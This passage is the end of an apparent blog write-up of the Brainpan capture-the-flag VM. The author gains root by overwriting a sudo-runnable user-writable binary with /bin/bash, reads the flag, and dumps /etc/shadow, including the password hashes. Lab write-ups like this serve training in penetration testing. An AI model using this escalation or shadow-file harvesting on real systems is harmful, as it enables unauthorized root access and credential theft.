drwxrwxr-x 2 anansi anansi 4096 Mar  5  2013 bin
$ cd bin
cd bin
$ ls -al
ls -al
total 16
drwxrwxr-x 2 anansi anansi 4096 Mar  5  2013 .
drwx------ 4 anansi anansi 4096 Mar  4  2013 ..
-rwxr-xr-x 1 anansi anansi 7256 Mar  4  2013 anansi_util

Since anansi_util was writable by anansi, and was executable by root with no password, this would be a simple privilege escalation. I copied over /bin/bash to replace anansi_util, and was able to sudo it as root, giving me my root shell.

$ mv anansi_util anansi_util.bak
mv anansi_util anansi_util.bak
$ cp /bin/bash anansi_util
cp /bin/bash anansi_util
$ sudo ./anansi_util
sudo ./anansi_util
root@brainpan:/home/anansi/bin# id
id
uid=0(root) gid=0(root) groups=0(root)

Once I was root, I was able to grab the flag file, and finish up this VM.

root@brainpan:~# cat b.txt
cat b.txt
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                         
                                            _|


                                              http://www.techorganic.com 

And, as usual, I grabbed the shadow file for possible future consumption.

root@brainpan:~# cat /etc/shadow
cat /etc/shadow
root:$6$m20VT7lw$172.XYFP3mb9Fbp/IgxPQJJKDgdOhg34jZD5sxVMIx3dKq.DBwv.mw3HgCmRd0QcN4TCzaUtmx4C5DvZaDioh0:15768:0:99999:7:::
daemon:*:15768:0:99999:7:::
bin:*:15768:0:99999:7:::
sys:*:15768:0:99999:7:::
sync:*:15768:0:99999:7:::
games:*:15768:0:99999:7:::
man:*:15768:0:99999:7:::
lp:*:15768:0:99999:7:::
mail:*:15768:0:99999:7:::
news:*:15768:0:99999:7:::
uucp:*:15768:0:99999:7:::
proxy:*:15768:0:99999:7:::
www-data:*:15768:0:99999:7:::
backup:*:15768:0:99999:7:::
list:*:15768:0:99999:7:::
irc:*:15768:0:99999:7:::
gnats:*:15768:0:99999:7:::
nobody:*:15768:0:99999:7:::
libuuid:!:15768:0:99999:7:::
syslog:*:15768:0:99999:7:::
messagebus:*:15768:0:99999:7:::
reynard:$6$h54J.qxd$yL5md3J4dONwNl.36iA.mkcabQqRMmeZ0VFKxIVpXeNpfK.mvmYpYsx8W0Xq02zH8bqo2K.mkQzz55U2H5kUh1:15768:0:99999:7:::
anansi:$6$hblZftkV$vmZoctRs1nmcdQCk5gjlmcLUb18xvJa3efaU6cpw9hoOXC/kHupYqQ2qz5O.ekVE.SwMfvRnf.QcB1lyDGIPE1:15768:0:99999:7:::
puck:$6$A/mZxJX0$Zmgb3T6SAq.FxO1gEmbIcBF9Oi7q2eAi0TMMqOhg0pjdgDjBr0p2NBpIRqs4OIEZB4op6ueK888lhO7gc.27g1:15768:0:99999:7:::

Definitely an enjoyable VM with a few different custom exploits needed. I look forward to finishing up parts 2 and 3 soon, but this is one I'd recommend to people wanting to practice their exploit development for sure.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.